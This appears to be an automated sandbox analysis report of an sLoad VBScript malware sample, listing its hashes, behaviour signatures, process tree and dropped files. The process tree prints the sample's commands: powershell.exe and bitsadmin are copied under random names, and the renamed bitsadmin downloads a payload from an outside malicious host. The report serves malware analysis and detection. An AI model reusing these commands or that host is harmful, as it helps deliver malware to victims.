Analysis

  • max time kernel
    28s
  • max time network
    31s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    23-11-2020 13:03

General

  • Target

    Allegato_Sload_Italy_vbs (5).vbs

  • Size

    6KB

  • MD5

    ceff9364195f28623c0efba90dcb8acf

  • SHA1

    15f0674a0c0f8b57642fbac23c9a46f6a2a33dca

  • SHA256

    2d4f4f98c234ea41653f671c496f4a95efa4a74411703bf5a50fc7fac2992699

  • SHA512

    c352be1cd6857f25df2ffb89e96abe2e889b464e3052776f27558208a2209649bedd1a10a6b30dfb9ef72d6088bb9605f906cee6a4a92e5e2fc09a8d949e5882

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_Sload_Italy_vbs (5).vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1912
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\znYWvYS.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\BDbiuUg*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:880
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\znYWvYS.exe
        3⤵
          PID:1444
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\BDbiuUg*.exe
          3⤵
            PID:1508
        • C:\ProgramData\BDbiuUgin.exe
          "C:\ProgramData\BDbiuUgin.exe" /transfer fiDVgU /download https://fhivelifestyle.online/lidepato/07823500967/map.gif C:\Users\Admin\AppData\Roaming\map.gif
          2⤵
          • Executes dropped EXE
          PID:1972

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\BDbiuUgin.exe
        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • C:\ProgramData\BDbiuUgin.exe
        MD5

        0920b14aa67a8b04acf48ffe7c6f0927

        SHA1

        3421124253058dc21453ebac531b67aeb999f627

        SHA256

        838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

        SHA512

        2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

      • memory/880-0-0x0000000000000000-mapping.dmp
      • memory/1444-1-0x0000000000000000-mapping.dmp
      • memory/1508-2-0x0000000000000000-mapping.dmp
      • memory/1972-4-0x0000000000000000-mapping.dmp